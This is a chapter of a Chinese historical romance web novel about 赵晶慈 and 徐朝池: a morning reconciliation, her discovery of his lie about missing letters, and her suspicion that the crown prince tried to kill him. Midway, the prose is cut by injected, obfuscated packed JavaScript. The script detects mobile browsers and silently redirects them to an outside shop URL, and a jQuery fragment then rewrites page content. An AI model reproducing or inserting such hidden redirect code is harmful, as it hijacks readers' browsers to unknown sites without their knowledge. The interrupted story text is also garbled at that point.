炉子上的粥热了又热,由软变糊,水分都被蒸干
小年好几次想着进去唤小姐起身,都叫徐北给拦了下来,只能折返
午时将至,赵晶慈忽而转醒,滚烫的怀抱和霸占着自己身子的掌心让她愣了愣,缓了好一会才试图抬头
他是什么时候回来的?
赵晶慈不知道,只知道指尖捂着的心脏在剧烈的跳动着
因为徐朝池
原以为远在千里之外的人,如今在她榻上安枕入眠。
徐朝池还睡着,连续几日的缺少的觉都留给这张榻了,眼下的乌青出卖了他的身体,此刻显然是累极的了。
怕自己起身扰了他,赵晶慈索性继续窝在被褥同他之间,多日以来的担忧和不安被抚平,晶亮的眼眸绽着餍足的笑意
待到午膳的时刻快过了,赵晶慈才察觉有些饿了,抬头去寻徐朝池的脸,纤细的指尖点了点那高耸着的鼻梁,笑的灵动
“再不起身的话”她在催他起身,“该错过午膳了”
饶是这几日少眠,徐朝池没有赖床的习惯,三两下起身,将赵晶慈抱起,让她坐与自己腿上,第一句话便是:“璀璀,你说我们是什么关系呢?”
“嗯?”赵晶慈看他逐渐要贴上来的额头,有些不经意的往后仰
徐朝池却不放她走,握住纤细的腰肢,又问了一遍:“璀璀觉得我们是什么关系?”
同眠于一张榻上的关系,同食于一张桌子的关系,肌肤相贴的关系,谁也离不开谁,就像鱼儿离不开水一般的关系……只要璀璀别说没有丝毫的关系,他都可以忘记早些时候她回答徐北的话
可等来的是赵晶慈的低头不语,她微微沉下身子,有些不知所措
在徐朝池望不到的地方悄然浮起了红晕
徐朝池的眸子却是落寞了起来,将人紧紧搂紧,硬要求出一个答复,一个与早上完全相反的答复:“反正我们不可能是没干系的对吧?”
他不需要璀璀答复了,只要她肯点点头,就够了
焦急间,怀里传来细语般的呢喃:“我们的关系,是我一想到你不再给我消息,便会落泪的关系。”
一说完,还未等徐朝池反应过来,赵晶慈已经捂着小脸往他的怀里藏得更深了
“璀璀”
徐朝池眼底漫上的喜悦顷刻间代替了方才的落寞
原本以为是璀璀不愿意承认的关系,可他的璀璀简直给了他好大一个意外之喜。
“璀璀,真的真的吗?”他真的有这么重要么,真的让璀璀如此的看待吗
怀里的赵晶慈点点头,于是就被倾身而下的徐朝池覆盖住了她小小的身子
他在吻自己的发丝、额头、眼角、鼻尖、脸颊
轻轻落下的吻像是羽毛一样,风一吹,就到了赵晶慈的心底
也挠着徐朝池自己的心
他简直要欣喜若狂了,动作也逐渐的控制不住,越发的没有章法了起来,大有要收不住的意思
赵晶慈怎么会察觉不到呢,急忙又往他的怀里躲去,制止的抓紧他的衣襟:“我饿了,快些起身用膳吧。”
他们已经错过一顿早膳了,不应该再错过午膳
闻言的徐朝池寻回了些理智,压住体内气血的翻涌,低头靠在赵晶慈的颈窝里,浅浅的吸着气
“璀璀,是我不好,让你落泪了。”
赵晶慈摇摇头:“这泪,是它偏要流下来的,和你有什么关系呢?”
“有关系,璀璀的一切,都同我有着天大的干系。再说了,那几日缺的书信本就是我的问题。”
见他提起此事,没有避而不谈,赵晶慈反而心里头释怀了些,抚着他的发,假装不经意间的问:“我知你在津北事务诸多,怕是耽搁住了罢,毕竟大事更为重要。”
她固然认定了眼前的这个人,可她亦希望徐朝池满眼都是自己,更不要对她有所隐瞒,所以她不相信真的是事情堆积忙到连提笔落下两个字的功夫都没有
“璀璀就是我的大事,那几日我同徐济去往密林深处办事,可那笨鸟找不到我们的踪迹,竟直接飞回皇都了。”
“是吗?”赵晶慈的声色依旧柔和,只是面上的笑收了收
徐朝池撒谎了……
徐北说那鸟明明留在皇都都不曾寄出去过,可徐朝池说的是什么?
他说,鸟儿找不到他们自己飞回皇都了,
两人编瞎话都不曾对过吗,还是说,当她是什么三岁的奶娃娃……心下的冷意蔓延全身,赵晶慈不愿再听他多说了,假的话听得再多也成不了真
“起身吧。”赵晶慈推开他,径直就要起身
徐朝池自然不知道徐北还编了话去瞒着璀璀,那几日他是在无法提起笔,让徐济寄回消息嘱咐徐北千万别告诉璀璀,害她白白担心。
此刻见她笑意渐无,徐朝池抬起头自责的将赵晶慈的小脸捧住,格外心疼的望向璀璀,语气放的真挚又舒缓:“都怪我,让璀璀受委屈了。”
随后赔罪般的亲了亲赵晶慈的额头和脸颊:“我来给璀璀挽发穿衣。”他兴冲冲的跟在璀璀身后,没曾想换来一句:“不必了,我自己来。”
“璀璀…”徐朝池没想到璀璀会拒绝,浑身上下漫着失落之意
赵晶慈却好似没有瞧见他那般显而易见的失落,任他跟在自己身后
等两人一番梳洗,又不慌不忙的唤小年呈上午膳
用膳之时更是除了碗勺的细碎声响,再没有任何声音落下
“璀璀,你试试这个。”
徐朝池一块色泽金黄的炸牛乳放置在她的碟中,又夹了一块白灼鸡蘸好一点姜葱蓉汁放到她的碗里
赵晶慈没拒绝,夹什么吃什么,只是不曾再同他言语
徐朝池的心思都扑到赵晶慈身上,上了饭桌更是一口未动,他不安的问着:“璀璀,是怎么了吗?”
“食不言,寝不语。” 赵晶慈发了话,徐朝池只好端起碗筷,给她夹一口,他再吃一口
她吃什么他也吃什么,她停筷他也放下碗
赵晶慈将这些小动作收进眼底,依旧不曾说什么,用过午膳便到了书桌看前两日还未看完的账本
书房原先是徐朝池养伤住的,这会更是轻车熟路的跟了进来,赵晶慈没管他,细细的对着账本,时不时拨几下算盘
任由账本大敞,她没有要避着徐朝池的意思,否则也不会让他跟着进来了
她气他瞒着自己,但心里却还是相信他的品行
在赵晶慈眼中,徐朝池无论对周围的家仆还是路边的百姓,都是彬彬有礼的,如此这样一个人,再撒谎也不敢干些伤天害理的事情
一旁的徐朝池不知道璀璀把他完完全全当成一个滴血不沾的斯文书生了,却大概明白早些时候徐济在大惊小叫的缘由了
核对完昨日剩的几页,赵晶慈又从旁抽出另一个更大也更结实些的账本
“你不好奇我在干什么?”
赵晶慈瞧他在一旁一言不发,生怕扰了自己的模样有些心疼,眼下的乌青并没有因为睡了一整个上午而完全消失,只是淡了几丝
“璀璀在忙”徐朝池声调放的极低,好似受了天大的委屈,但眼角却是往上翘着
他知道璀璀在看账本,只是璀璀没提,他便不问,这会儿璀璀不避着他查账已然是对他十分的相信,他已经知足了。
他知道璀璀心思一向灵巧,定然不愿局限于这一方高墙之中。
赵晶慈闻言嗔怪一声:“那你站着做什么?”
到底还是心疼他先前受伤,来不及怎么养又去了那么久的津北。
这话一出,徐朝池眼底的笑意更是明显了,书房的椅子宽大,有时赵晶慈会侧着倚躺在扶手上看话本,坐下两人绰绰有余
待到徐朝池落座,他瞧得更真切些:“我帮璀璀一同查账,好不好?”
赵晶慈没抬头:“你会看得懂账本?”
“嗯,我会”徐朝池笑着应下,璀璀愿意同他多说几句了
赵晶慈没再说什么,只是抽出其中一家店铺的账本铺开,推到徐朝池面前,又取来了一个更小的算盘放在账本旁,是她当初初学时用的那把,看起来像是孩童的尺寸。
“既如此,劳烦徐郎君你替我清算这本,待事毕,我有话还想问问你。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539721|203910||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>话落,赵晶慈又埋头查起了账目,还未细看,账本被徐朝池的大手遮住,随后掀起盖上,连同她的人,也一并被抱起放在徐朝池的身上。
赵晶慈吓了一跳还未反应过来便听到徐朝池沉着怒意问:“璀璀唤我什么?”
赵晶慈旋即知道他说的是何意味,也不管那双紧紧箍着自己腰肢的手,一如往常在外的端庄温婉:“我唤徐郎君,可有错?”
好一个徐郎君,好一个可有错
徐朝池听的浑身发抖,手掌在她腰侧紧紧攥起了拳头,眼底的狠戾盖也盖不住
从方才在床榻,璀璀便格外避着他,也不让他挽发,甚至不愿同他多说一句无关紧要的话,这会儿更是直接唤起自己郎君了
“你是不打算和我有关系了对不对璀璀?”明明那双眸子的狠戾还未散去,可徐朝池的语气却极其克制的缓了下来。
赵晶慈质问道:“那我方才讲的是什么。”
方才明明在榻上已经表明了自己的心意,他如今来翻什么旧账
“那璀璀再重新唤我一遍好不好?”徐朝池柔声将人哄着,偏要她说出自己满意的答案。
赵晶慈却不想顺着他的意,偏要和他对着干,仿佛到了老太姑跟前一般的乖巧,还扬起一丝不达心里的笑意,唤他:“徐郎君。”
原本就频频泛着冷意的徐朝池这会儿那双墨色的眸子更是深不可触
他冷笑一声,将赵晶慈早上自己挽起的发束三两下拆了个遍,柔软的发丝由肩及腰垂落
赵晶慈面上从未抹粉上妆,未加粉饰却禁不住美的更不可方物
“我只要璀璀多瞧我一眼,可璀璀不说,那我就一步步去探,看究竟是那个地方我做错了,让璀璀如此这般。”
今日这事,他没有生生熬过去的打算,若是不解决,两人的矛盾怕是彻底化不开了
徐朝池将人举起,单手托着臀部紧紧的扣抱住了,也不管赵晶慈的反抗:“你放我下来。”
“璀璀,我在解决问题。”徐朝池抱着人往撩起帘子,往里间的床榻走去,将被褥掀开,抱着人坐了上去,又盖上了被褥
一如晨间那般,赵晶慈被夹在寝被和徐朝池的中间,现在多了徐朝池的一只手压住被面,她连被子都掀不掉。
赵晶慈这会儿冷静了下来,一点儿也不慌
既然逃不走,她便没再白费功夫,索性在他的怀里舒舒服服的寻了个姿势倚靠,又将双手环住徐朝池的脖颈,轻轻合上眼就当午睡了
“璀璀……璀璀”徐朝池见璀璀如此依赖在自己怀中,不免软了心,顺势把她扶好躺了下去,又将人揽近了些,紧紧的贴着,语气亲昵的哪里还有怒意
“璀璀,那你别再唤我徐郎君了可好”徐朝池亲了亲赵晶慈的眉心,蜻蜓点水却一回又一回
赵晶慈依旧合着眼,手却不断在他后颈画着圈,引的徐朝池不断蹭着她的面庞,落下毫无章法也无法克制的吻
“璀璀,好不好?”
赵晶慈不愿逼问他到底瞒着自己什么事情,在她心底,一直觉得,如果徐朝池真的有把自己看的那么重的话,那么他该自己来开口坦白,而不是她上赶着去问,赵晶慈不是那种性格
所以她选择和他倔着性子,也不愿低下头去问他到底真相是什么……
若是他愿意道出被隐瞒的事实也就罢了,若是不愿,或则再去编织一个更周密的谎言,她又如何去承担这样的后果呢
思及此,赵晶慈又想到上次徐北同他去见薛西寻时,说徐朝池先前在山上中的是太子的毒,而并非她解决的那几个小官小吏的手法。
一波未平,眼看着一波又起
原本画着圈的指尖被赵晶慈蜷起,她从容开口道:“我在山上救下你之时,你是受了太子的追杀吧。”
然后太子原以为徐朝池死了,没成想被自己救下了,而她,则是因着郡主的邀约才能出府上山祈福
一报换一报,此事便这样环环相扣住了,太子想除掉徐朝池,可他自己伤害的郡主却阴差阳错的上山了,这也让赵晶慈有机会救下徐朝池。
而如今,她也一个个戳破他的谎言